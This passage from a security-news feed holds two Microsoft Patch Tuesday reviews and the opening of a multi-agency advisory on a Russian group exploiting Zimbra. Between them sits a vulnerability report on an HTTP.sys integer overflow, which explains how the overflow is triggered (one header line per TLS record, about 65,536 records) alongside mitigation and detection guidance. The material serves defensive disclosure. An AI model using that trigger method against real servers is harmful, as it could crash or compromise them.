authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

 

]]> <![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]> https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/ https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/ Sat, 25 Jul 2026 19:02:52 +0200 🕵️ Hacking tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[The February 2026 Security Update Review]]> https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

-    CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

-    CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

-    CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

-    CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

-    CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

-    CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited TYPE
CVE-2026-21514 Microsoft Word Security Feature Bypass Vulnerability Important 7.8 Yes Yes SFB
CVE-2026-21510 Windows Shell Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21513 Internet Explorer Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21519 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21533 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21525 Windows Remote Access Connection Manager Denial of Service Vulnerability Moderate 6.2 No Yes DoS
CVE-2026-21511 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2023-2804 * Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo Important 6.5 Yes No RCE
CVE-2026-24302 Azure Arc Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-24300 Azure Front Door Elevation of Privilege Vulnerability Critical 9.8 No No EoP
CVE-2026-21532 Azure Function Information Disclosure Vulnerability Critical 8.2 No No Info
CVE-2026-21522 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-23655 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21218 .NET and Visual Studio Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21512 Azure DevOps Server Cross-Site Scripting Vulnerability Important 6.5 No No XSS
CVE-2026-21529 † Azure HDInsight Spoofing Vulnerability Important 5.7 No No Spoofing
CVE-2026-21528 Azure IoT Explorer Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-21228 Azure Local Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-21531 Azure SDK for Python Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-21251 Cluster Client Failover (CCF) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20846 GDI+ Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-21523 GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21518 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-21257 GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-21256 GitHub Copilot and Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21516 GitHub Copilot for Jetbrains Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21253 Mailslot File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21537 † Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21259 Microsoft Excel Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21258 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21261 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21527 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-21260 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21229 Power BI Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21236 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21238 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21241 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21517 Windows App for Mac Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21234 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21235 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21246 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21232 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21240 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21250 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21244 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21247 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21248 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21255 Windows Hyper-V Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-21231 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21239 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21245 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21222 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21243 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20841 Windows Notepad App Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21249 Windows NTLM Spoofing Vulnerability Important 3.3 No No Spoofing
CVE-2026-21508 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21237 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21242 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-1861 * Chromium: CVE-2026-1861 Heap buffer overflow in libvpx High N/A No No RCE
CVE-2026-1862 * Chromium: CVE-2026-1862 Type Confusion in V8 High N/A No No RCE
CVE-2026-0391 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Sat, 25 Jul 2026 18:59:26 +0200 📰 IT Security Nachrichten tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

